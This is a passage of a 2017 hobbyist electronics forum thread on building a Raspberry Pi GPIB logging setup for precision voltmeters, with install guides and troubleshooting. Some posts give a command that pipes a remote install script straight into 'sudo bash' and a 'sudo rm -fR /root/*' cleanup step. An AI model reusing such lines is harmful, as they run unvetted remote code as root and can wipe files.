checking whether make supports nested variables... yes
checking whether to enable maintainer-specific portions of Makefiles... no
checking for util/.scm_version.tmp... yes
checking build system type... armv7l-unknown-linux-gnueabihf
checking host system type... armv7l-unknown-linux-gnueabihf
checking Linux kernel directory... configure: WARNING: Linux kernel directory /lib/modules/4.4.38-v7+/build/ does not exist.  Specify using --with-linux-srcdir=DIR.
configure: WARNING: Kernel source tree at /lib/modules/4.4.38-v7+/build/ is not configured.  Copy the
   appropriate configuration file to /lib/modules/4.4.38-v7+/build//.config and then run 'make oldconfig'
   in the kernel source directory.
ok
checking Linux kernel compile flags... make: *** /lib/modules/4.4.38-v7+/build/: No such file or directory.  Stop.
configure: WARNING: Failed to get compile flags from Linux kernel directory.
ok
checking for gcc... gcc


Anyone else run into this issue?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 20, 2017, 02:45:37 am
Did you install the headers and after run rpi-source?

I had similar issues until I ran rpi-source.

See a few pages back (run as sudo):
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1075495/#msg1075495 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1075495/#msg1075495)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: jrz126 on January 20, 2017, 03:05:22 am
Yes. those are the steps i was following. Did you have to modify anything extra?
 
Attached the console log from installing the rpi-source.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 20, 2017, 03:24:53 am
First followed the steps here: https://xdevs.com/guide/ni_gpib_rpi/ (https://xdevs.com/guide/ni_gpib_rpi/)
Got it to talk and whatnot, but I would get a segfault while trying to run ibtest. Figured it was because i was using a V3 Pi and not a V1.

You do not have kernel header or kernel source availble
Perform
sudo apt-get update
sudo apt-get upgrade
sudo apt-get raspberrypi-kernel raspberrypi-kernel-headers
And try to reinstall linux-gpib
If it will not work post kernel version.

In general if you are using iiferent kernels shoulb be enough
sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
sudo rpi-source
sudo reboot
this will download and link kernel sources but reguire more space.


Also I can confirm that the 82357B adapter is now running with 4.4.38 and also with more recent 4.4.x.
Thanks Bingo600 and Dave.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on January 24, 2017, 07:15:53 am
Just a silly question. I know 99,99% the response is yes but worth checking ...

With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Actually with my ancient "NI-ENET" adaptor I'm running a 10V data logging script on my 3458a for my LTZ1000 reference and another script for TC of resistor using a K2001 and a Siglent Power supply via USBTMC.

Two scripts and three instruments ... yes it's really a mess but this things takes forever so it's worth doing in parallel to get forever/2.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 24, 2017, 08:24:06 am
Just a silly question. I know 99,99% the response is yes but worth checking ...

With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Actually with my ancient "NI-ENET" adaptor I'm running a 10V data logging script on my 3458a for my LTZ1000 reference and another script for TC of resistor using a K2001 and a Siglent Power supply via USBTMC.

Two scripts and three instruments ... yes it's really a mess but this things takes forever so it's worth doing in parallel to get forever/2.

Yes, there is almost no limitations, of course do no try to control same instruments from two scripts.
I was using 3458A, 3457A,K2001M, 34401A,34420A, 34410A,34411A and E3631A on NI-GPIB HS adater and simutaneously L4411A over USBTMC. Each instrument has own logging and some of them were also logging the temperature from 2x BME280.
What was only problem was stability of kernels. The best seems to be official RPI foundation 4.4.38 running on RPI2/3.
Also try to keep at least half of instruments connected on GPIB powered on.Recommended for GPIB bus.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on January 24, 2017, 09:36:20 am
"fortunately" I'm using this NI GPIB-ENET adapter. Raspberry connect to GPIB adapter by Ethernet and everything is rock stable.

Unfortunately there is not kernel support for this adapter. So is usable only in Python with some library someone wrote for this adapter that connects directly via socket.

Everything comes with pro and cons ...

Inviato dal mio Nexus 6P utilizzando Tapatalk

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 24, 2017, 10:18:44 am
"fortunately" I'm using this NI GPIB-ENET adapter. Raspberry connect to GPIB adapter by Ethernet and everything is rock stable.

Unfortunately there is not kernel support for this adapter. So is usable only in Python with some library someone wrote for this adapter that connects directly via socket.

Everything comes with pro and cons ...

Inviato dal mio Nexus 6P utilizzando Tapatalk

The Ethernet adapters are supported, tested with E5810.
Support is writen by Alex ( member here)
http://alexforencich.com/wiki/en/python-vxi11/start (http://alexforencich.com/wiki/en/python-vxi11/start)

In scripts replace

Code: [Select]
import Gpib
inst = Gpib.Gpib(0,22)
by
Code: [Select]
import vxi11
inst = vxi11.Instrument("192.168.0.27", "gpib0,22")




Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on January 24, 2017, 11:01:28 am
I have to check again but I don't think this adapter support any standard protocol.

Even NI software has dropped support for it long time ago. ENET 100 (the one I have is 10 Mbits) and this Agilent are another story.

Inviato dal mio Nexus 6P utilizzando Tapatalk

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 24, 2017, 03:06:26 pm
Quote
With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?

Yes, talking to multiple instruments over same GPIB dongle using linux-gpib is possible, I had runs when two python apps interfacing different instruments. But I prefer not to do that, as if error or timeout occur on one of transfers, the other one likely to fail as well, as GPIB dongle still processes requests serially.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on January 26, 2017, 10:36:48 am
TIN: Ohh that's bad but still better than nothing. Are you sure of this?

I have to check mine if this happens ... any idea how to reproduce this problem?

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 26, 2017, 03:26:32 pm
Easy.
Connect two instruments on let's say GPIB 7 and GPIB 8. Run two snakes to read something in loop from either instrument. Then turnoff one instrument and watch if remaining one+it's snake still alive  :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 29, 2017, 03:14:34 am
Does anyone here use the free Mathematica and Wolfram Language package supplied with Raspbian to analyze and present the measurements?

I ask because it looks like a pretty capable package (albeit obtuse - I am used to Matlab).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on January 29, 2017, 05:03:34 am
In-case this helps others. 

I just received an E5810 LAN/GPIB Gateway and ran into an issue with the 3458A python script, was always receiving a timeout error, that I wasn't running into with the Agilent 82357B dongle.

For whatever reason the 3458A won't respond to read/query commands until END ALWAYS is sent.  Only need to send it once and your set (till you power cycle or reset), so I just modified the script with the below as the first command sent to the instrument and life is good.

inst.write("END ALWAYS")

The E5810 sure makes my life/programming easier, should have bought one eons ago!
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 29, 2017, 05:15:49 am
For whatever reason the 3458A won't respond to read/query commands until END ALWAYS is sent.  Only need to send it once and your set (till you power cycle or reset)

Strange that you didn't encounter problems w. the other adapter.

The : END ALWAYS  is a known MUST  on the 3457 & 3458

/Bingo

PS: Thanx for the feedback
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on January 29, 2017, 05:27:59 am
Strange that you didn't encounter problems w. the other adapter.

Further thinking, I think I set the gpib timeout to 30s, since END ALWAYS is further down the script it was probably coming around before the timeout.  Since the instrument is powered 24-7 and END ALWAYS was already enabled I never noticed the delay on subsequent data runs.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: guenthert on January 31, 2017, 05:56:43 pm
Easy.
Connect two instruments on let's say GPIB 7 and GPIB 8. Run two snakes to read something in loop from either instrument. Then turnoff one instrument and watch if remaining one+it's snake still alive  :)
If it is not, then that might be actually an electrical, rather than software issue.  iirc, if multiple instruments are on the same bus, the majority on them ought to be on to ensure proper signaling.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on February 03, 2017, 05:13:20 am
Second 3458 refurbed, up and running.  Waiting on a 2000-Scan card for my 2010 which will be dedicated to logging board temps.

Gotta get working on a temp chamber next.

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 04, 2017, 11:53:54 pm
@dr.d
Well done ...

I ought to try my Agilent LAN->GPIB adapter out.

Are you using the Raspi w. the voltnut image ?
This thread (image devel) seems to have come to a standstill for now.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on February 05, 2017, 12:06:53 am
Are you using the Raspi w. the voltnut image ?
This thread (image devel) seems to have come to a standstill for now.

I was initially, but since the E5810 I moved it to a VM, it was just easier for me.

I'd love to see the image expanded on the web logging/graphing/trending side, but that is not my particular strong suit.  A standard here might be nice for those active in the T.C./LTZ arena.

Frank's branch is active and has more "stuff"

https://github.com/FrankBuss/RPi_LogNut

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on February 05, 2017, 01:32:05 pm
Sorry folks I am lost... Is am image available for download for Pi3 ?
Does it support Agilent 82357B clone?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 05, 2017, 06:42:47 pm
Sorry folks I am lost... Is am image available for download for Pi3 ?
Does it support Agilent 82357B clone?

The issue w. the Agilent 82357B ( and clones) is solved , by the linux-gpib maintainer Dave Penkler.
I'm not sure if the downloadable image for the Pi3 has been updated w. the latest SVN version of linux-gpib , that contains the fix.

But it would be quite easy to download the Old Pi3 image and do the linux-gpib update your self.

/Bingo

eevblog IRC
I'm sometimes joining the eevblog channel on irc , and might be able to help "online" , i'm using:
irc.afternet.org
#eevblog
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 05, 2017, 06:53:50 pm
I upgraded to a pi3 a week ago, followed TiN's howto to get gpib up and running and it is working fine with the 82357B.
This is just a basic image though - no builtin graphing or web server etc which would be very nice to have.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on February 05, 2017, 07:23:24 pm
Image for Pi2/Pi3 is available here:
https://doc.xdevs.com/doc/_Images_RPI-DL/ (https://doc.xdevs.com/doc/_Images_RPI-DL/).

One currently there is based on older linux-gpib, but have basic scripts and webserver with graph-logs.
Tested to be working fine with NI GPIB-USB-HS and different instruments.
If you want to use 83257B, can reference to my updated guide (https://xdevs.com/guide/agilent_gpib_rpi/) to update latest linux-gpib.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on February 07, 2017, 02:05:43 pm
Is any other download source? The link is _very_ slow....
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 07, 2017, 02:40:11 pm
Took 4 hours for me to grab it. I had a go at updating it to the newest linux-gpib but had no luck, communication was still broken. Not sure why.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on February 07, 2017, 02:45:47 pm
Took 4 hours for me to grab it.

Thanks for confirming. My download showed 7 hours ( cancelled it). This makes the OP effort useless, unless the image is uploaded elsewhere.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 07, 2017, 04:24:04 pm
The download speed varied quite a bit - it said it would be 2 hours when it started, then went to 7 hours but was a little quicker in the end. Not a huge deal to start it before bed - it should be ready by morning.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 08, 2017, 07:06:02 am
I'll give it a go too

Edit: I got the image in 61 minutes

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on February 08, 2017, 07:15:16 am
Didn't work for me either. It looked like the new linux-gpib wasn't installed (after a make uninstall), at least the debug printouts from the previous install were still there.
With a clean install it works fine though.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on February 08, 2017, 08:48:39 am
I have my Keysight U1272a with dual display python script finished.  Basically it displays the primary display with the secondary display. I also started a script for the Siglent function generator, mostly for the frequency counter graphing. 

I'll do a pull request to GIT when I'm finished.   
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 09, 2017, 04:51:53 am
Took 4 hours for me to grab it. I had a go at updating it to the newest linux-gpib but had no luck, communication was still broken. Not sure why.

@Steve et all

I just installed the Plesa VoltNut image on my Rpi3.
And upgraded to the latest linux-gpib.

I made a tiny how2:

Note: When pasting the url's from the guide be sure to remove the  url  tags , that i can't seem to get rid off inside a code block.


Code: [Select]

PC
-----

Get image from TiN here : [url]https://doc.xdevs.com/doc/_Images_RPI-DL/[/url]
--------------------------
wget -c [url]https://doc.xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip[/url]


Write image to SD card
------------------------
dd bs=4M if=RPi_LogNut_v2 of=/dev/sdx       - replace /dev/sdx to fit your mount point


If you use a SD card larger than 8G , maybe resize to use all - See:
----------------------------------------------------------------------
http://elinux.org/RPi_Resize_Flash_Partitions#Manually_resizing_the_SD_card_using_a_GUI_with_GParted

*** Note ***
[url]https://en.wikipedia.org/wiki/F2FS[/url]
Plesa has apparently chosen f2fs as the file system - should be a fs made for flash
That makes it very difficult to resize the filesystem to ie. 32GB (size of my SD card)




Raspi
---------

Mount card in Raspi , and boot.

Login to Raspi (ssh) - user: pi , pass: raspberry

Update OS
--------------
sudo apt-get update
sudo apt-get upgrade

Adapt hostname
---------------
sudo nano /etc/hostname

reboot
---------
sudo reboot now

Update firmware
------------------
sudo rpi-update

reboot
---------
sudo reboot now


Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
You probably want to delete everything starting with linux in the /root directory


Update kernel headers to newly installed kernel
------------------------------------------------
sudo wget [url]https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source[/url] -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update

Get the new headers fot the running kernel
--------------------------------------------
sudo rpi-source

** Watch out for this one ** - You prob. forgot to make room for the new headers above.
ERROR:
Not enough diskspace (900MB) on /root
Skip this check with --skip-space


reboot
---------
sudo reboot now


Build latest linux-gpib
--------------------------
cd /opt
sudo rm -fR linux-gpib
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install


Make the agilent module load automatically on boot
----------------------------------------------------
sudo sed -i -e "\$aagilent_82357a" /etc/modules


reboot
---------
sudo reboot now



Now you have the latest linux-gpib on the voltnut image


Check the new module is loaded

pi@raspi4:~ $ lsmod
Module                  Size  Used by
bnep                   10340  2
bluetooth             326105  5 bnep
brcmfmac              186403  0
brcmutil                5661  1 brcmfmac
snd_bcm2835            20447  1
cfg80211              428871  1 brcmfmac
snd_pcm                75762  1 snd_bcm2835
snd_timer              19288  1 snd_pcm
rfkill                 16037  4 cfg80211,bluetooth
snd                    51908  5 snd_bcm2835,snd_timer,snd_pcm
i2c_bcm2708             4834  0
bcm2835_wdt             3225  0
bcm2835_gpiomem         3040  0
uio_pdrv_genirq         3164  0
uio                     8000  1 uio_pdrv_genirq
agilent_82357a         18276  0    <---------------------- **** Here
gpib_common            31540  1 agilent_82357a       <---- **** Here
i2c_dev                 5859  0
fuse                   84037  3
ipv6                  347556  52


If the module is NOT present , something went wrong with the linux-gpib build/install
Probably wrong kernel-headers , you might have installed a new version of linux.
And have NOT done a : sudo rpi-source


Check the installed linux-gpib version with :
----------------------------------------------
$ gpib_config -v
linux-gpib version = 4.0.3 [r1655]

/Bingo

I will not use this image , as just using 8GB out of my 32GB card is not acceptable.
And  resize.f2fs  apparently is NOT in the current Raspi version of  : f2fs-tools.

$ sudo apt-cache policy f2fs-tools
f2fs-tools:
  Installed: 1.4.0-2
  Candidate: 1.4.0-2

It seems to be in f2fs-tools_1.7.0-1.1


I hope that Plesa will make an ext4 version too

Ohh: I haven't tested with an Agilent/Beiming gpib adapter yet , but as the module loads - It should work


/Bingo

Make sure to see Steve's additons here
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1133932/#msg1133932 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1133932/#msg1133932)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 09, 2017, 05:08:47 am
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 09, 2017, 06:26:31 am
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.

It seemed like the agilent_82357a wasn't in /etc/modules
This means you'd have to do a manual : sudo modprobe agilent_82357a

Else i doubt the module would be loaded at all

/Bingo

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 09, 2017, 07:34:23 am
The module was loading fine, firmware automatically uploaded etc. Running ibtest even found the the controller but it would fail when trying to actually send data to a device.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on February 09, 2017, 07:35:57 am
I'll give it a try. When I upgraded the Linux gpib it also loaded  fine but gave an error when I tried to communicate.

Had to disconnect and reconnect the 82357 from USB (after the version update) to get it to not time out after the update (otherwise got the 14 timeout error).

@Bingo Kudos - Your update instructions work beautifully.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 09, 2017, 07:57:09 am
@Bingo Kudos - Your update instructions work beautifully.

Great
Thank you for the feedback :-+

Ohh: remember the linux-gpib modules are kernel dependant.

Whenever you get/install a new kernel , you need to :

reboot
---------
sudo reboot now


Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
You probably want to delete everything starting with linux in the /root directory


Get the new headers fot the running kernel
--------------------------------------------
sudo rpi-source


Build latest linux-gpib
--------------------------
cd /opt
sudo rm -fR linux-gpib
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ (http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/) linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 09, 2017, 08:18:27 am
The module was loading fine, firmware automatically uploaded etc. Running ibtest even found the the controller but it would fail when trying to actually send data to a device.

But would it load the module after a reboot ??

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on February 09, 2017, 06:24:16 pm
I don't know if this is OT or OT (BTW - is there a different shorthand for On topic as for Off topic?) - As it may be an HP34401A issue only - and a beginner sort of issue at that....

I was trying to use the RPi to do long term measuring but kept getting different results from the Keysight (Agilent) tools, and from what I was getting on the display. On the display I was stable to within +-1uV@1V range (short term, of course, longer term I get some drift) while on the RPI I was getting fluctuations of many PPM (up to say +-3uV or even more, same range). Also, readings came in faster. My original suspicion was NPLC, which turned out to be a false suspect...

Well, I ended up writing a short script that dumped all the settings. The one that turned out to cause this was the [SENSe:]ZERO:AUTO. When used from the front panel, the DMM zeroes itself between readings (hence the slow update rate). However, sending a ZERO:AUTO? returned a '0' (Off) when measuring using the RPi. So the DMM was not zeroing itself (hence the update rate was double).

Adding the line ZERO:AUTO ON fixed this issue and stabilized the measurement.

Hope this helps someone out there.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 11, 2017, 02:00:10 pm
bingo600 - I believe your howto needs several bits added to work with the 82357B

A couple notes from my attempt:

Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
sudo rm -fR /root/*


The above command does not work but it won't give you any indication of that because of the -f
If you remove the -f you'll find the command won't work with sudo. If you switch to true root login(sudo su) it will work fine.
If you don't get this command to work properly you will run out of space when you proceed to the next step.


When everything is complete the module will load but it won't work by default.

We need to install fxload:

sudo apt-get install fxload

Then we need to get the Agilent 82357 firmware:
cd /opt
sudo wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz (http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz)
sudo tar xvzf gpib_firmware-2008-08-10.tar.gz

Then we need to copy the firmware to /usr/share/usb/agilent

cd /opt/gpib_firmware-2008-08-10/agilent_82357a
sudo cp measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

I believe /etc/gpib.conf should also be modified to support the 82357:
 board_type = "agilent_82357a"   /* type of interface board being used */

At this point the 82357 will work great and load at boot.


Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 12, 2017, 12:25:10 am
bingo600 - I believe your howto needs several bits added to work with the 82357B

A couple notes from my attempt:

Cleanup old kernel headers to make room for the new ones.
----------------------------------------------------------
sudo rm -fR /root/*


The above command does not work but it won't give you any indication of that because of the -f
If you remove the -f you'll find the command won't work with sudo. If you switch to true root login(sudo su) it will work fine.
If you don't get this command to work properly you will run out of space when you proceed to the next step.

Sorry , this command ought to work : sudo  rm -fR /root/* -

Corrected instructions tn the above posts , to let the user chose how to make room.
Them i'm avoiding to specify a rm -fR in a guide ....


But strange that your : sudo rpi-source
Didn't give you the warning that i specifically mentioned to watch out for , if/when running out of space.

Quote
** Watch out for this one ** - You prob. forgot to make room for the new headers above.
ERROR:
Not enough diskspace (900MB) on /root
Skip this check with --skip-space

Or did you miss that one  ;)



When everything is complete the module will load but it won't work by default.

We need to install fxload:

sudo apt-get install fxload

Then we need to get the Agilent 82357 firmware:
cd /opt
sudo wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz (http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz)
sudo tar xvzf gpib_firmware-2008-08-10.tar.gz

Then we need to copy the firmware to /usr/share/usb/agilent

cd /opt/gpib_firmware-2008-08-10/agilent_82357a
sudo cp measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

I believe /etc/gpib.conf should also be modified to support the 82357:
 board_type = "agilent_82357a"   /* type of interface board being used */

At this point the 82357 will work great and load at boot.

You might be correct about the above things.
My post was only about how to upgrade the volt-nut image to the latest linux-gpib version, not fixing the existing image.

It never even occured to me that those things could be missing , but then again Plesa never had a working linux-gpib for the agilent when making the image.

Thanx for the update  :-+

/Bingo

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on February 12, 2017, 05:02:37 am
I think the 82357B related stuff was intentionally left out, as it didn't work. So no, this in not in the v2 image.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on February 12, 2017, 05:35:03 am
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: dr.diesel on February 12, 2017, 05:45:28 am
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.

Linux Voltnut fits me pretty good   ;D
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 12, 2017, 06:47:35 am
Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.

Hmm ...  :-//

Did you notice that we hit a "hard bump" in December
We had to get the linux-gpib maintainer involved, in order to get the Agilent GPIB adapter working ?   :phew:

The image is still WIP , and plesa is working on a new version.
I'm quite sure the goal is to deliver a working RasPi setup.
This time i don't think it's a full image, but a set of install scripts.

If you are impatient , you could cure your depression by getting LabView  ;)
Or use the Excel macro stuff you toyed with, in the other thread.

I have spend quite some time to help out getting this image on the right track , so people with Agilent clone adapters could get a working system.
I seem to remember you mention having such an adapter ....   


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 12, 2017, 07:01:52 am
I can understand it being overwhelming for people with no linux experience.

I can upload the image I updated if people would like. If not it sounds like Plesa is working on an updated image. I don't think we want a big collection of images cluttering up TiN's server.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 12, 2017, 07:43:39 am
@Steve

Plesa hinted that the next one will be a collection of install scripts , expected to be applied over the Raspbian image.
This prob. means no more full image dumps.

So you prob. wouldn't clutter anything by uploading

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 12, 2017, 09:49:26 am
I used a 16 gig micro sd card so reading it with win32diskimage it is now 16 gigs(15,523,119,104 bytes) even though it is only half used.

I used to have a bunch of linux/unix boxes around, these days I just have raspberry pi's. I can still do it though if someone wants it.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Bud on February 12, 2017, 10:01:22 am
Plesa hinted that the next one will be a collection of install scripts

How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 12, 2017, 10:13:54 am
Plesa hinted that the next one will be a collection of install scripts

How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.

Unless you're connected to the live internet you don't really need to update it - if it works, just keep using it.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on February 12, 2017, 07:14:56 pm
How about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.
Look at it as an opportunity to improve your Linux knowledge. At least that's how I tried to approach it. I'm not saying that from time to time I didn't wish it just plain worked though  :).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on February 12, 2017, 07:17:41 pm
This time i don't think it's a full image, but a set of install scripts.
@Plesa
If you need help with testing or writing parts of the script, let me know.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on February 13, 2017, 04:14:30 am
Sorry it takes so long.
After multiple weeks of logging I decided to buil image on 4.4.38, other kernels has intermittent errors.
Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.
So to make your Volnut iamege, just download the
https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-01-10/2017-01-11-raspbian-jessie.zip
Restore it to SD card and after automatic resize run script in terminal
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.38.
Your GPIB adapter should be connected to set gpib.conf properly.
Otherwise modify gpib.conf manually

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on February 13, 2017, 07:57:49 am
Plesa - thank you for the script. I gave it a try and here are my results.

2017-01-11-raspbian-jessie.zip uses kernel 4.4.34 - the script updated my image to 4.4.38 and then rebooted(as you said it would)

I ran the script a second time but it died when muug.ca was not reachable.

I ran the script again and this time it was able to reach muug.ca and download the needed files.
It compiled linux-gpib but afterwards died with the following:

Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device

I had a poke around and noticed /etc/modules did not have the required entry. I added it and rebooted. Communication with the 82357B now works fine.
I haven't reviewed the script to see what else it was going to setup and have not run the script again.

edit:

Checked out the script, doesn't look like I really missed anything needed.

I would add a "sed -i -e "\$aagilent_82357a" /etc/modules" so everything loads automatically.

Also - should this script have a web server running?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on February 22, 2017, 04:14:11 pm
Plesa - thank you for the script. I gave it a try and here are my results.

2017-01-11-raspbian-jessie.zip uses kernel 4.4.34 - the script updated my image to 4.4.38 and then rebooted(as you said it would)

I ran the script a second time but it died when muug.ca was not reachable.

I ran the script again and this time it was able to reach muug.ca and download the needed files.
It compiled linux-gpib but afterwards died with the following:

Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device

I had a poke around and noticed /etc/modules did not have the required entry. I added it and rebooted. Communication with the 82357B now works fine.
I haven't reviewed the script to see what else it was going to setup and have not run the script again.

edit:

Checked out the script, doesn't look like I really missed anything needed.

I would add a "sed -i -e "\$aagilent_82357a" /etc/modules" so everything loads automatically.

Also - should this script have a web server running?

The modules should be loded automatically after next reboot( added ldconfig, depmod, modprobe).
During testing I found that something is wrong wit NI GPIB USB HS support.It seems to be broken with latest linux-gpib 1655 and kernel 4.4.38 and recent tree.

Scripts for server are in progress - lighttp, temporary location in RAM (tmpfs filesystem) to minimize wear level of SD card, live graph on small LCD (3.5") of temperature, humidity and presssure.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 22, 2017, 06:10:08 pm
@Plesa et all

Seems like Dave discovered that the NI-USB have started to "behave" as the Agilent.

Quoted text
Quote
[   99.621040] Linux-GPIB 4.0.3 Driver [   99.624382] ni_usb_gpib driver
loading [   99.624443] ni_usb_gpib: probe succeeded for path:
usb-0000:00:1d.0-1.2 [   99.624479] usbcore: registered new interface
driver ni_usb_gpib [   99.624481] gpib: registered ni_usb_b interface [
132.187333] ni_usb_gpib: attach [  132.187339]    attached to bus interface
0, address 0xffff9baeb751a000 [  132.196677]    product id=0x709b [
132.196683] ------------[ cut here ]------------
[  132.196712] WARNING: CPU: 1 PID: 1448 at drivers/usb/core/hcd.c:1584
usb_hcd_map_urb_for_dma+0x42a/0x550 [usbcore]
[  132.196713] transfer buffer not dma capable

Dave writes on the gpib-mailinglist

Quote
OK we  have seen this problem with the agilent driver also.
The kernel has become stricter with dma mappable buffers.
Will post a patch to SVN.
Thanks,
-Dave

I'll try to get some more info from Dave

/Bingo

Ps: I'll try out the image asap
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on February 23, 2017, 02:15:06 am
Dave might have fixed the NI-USB problem

Quote
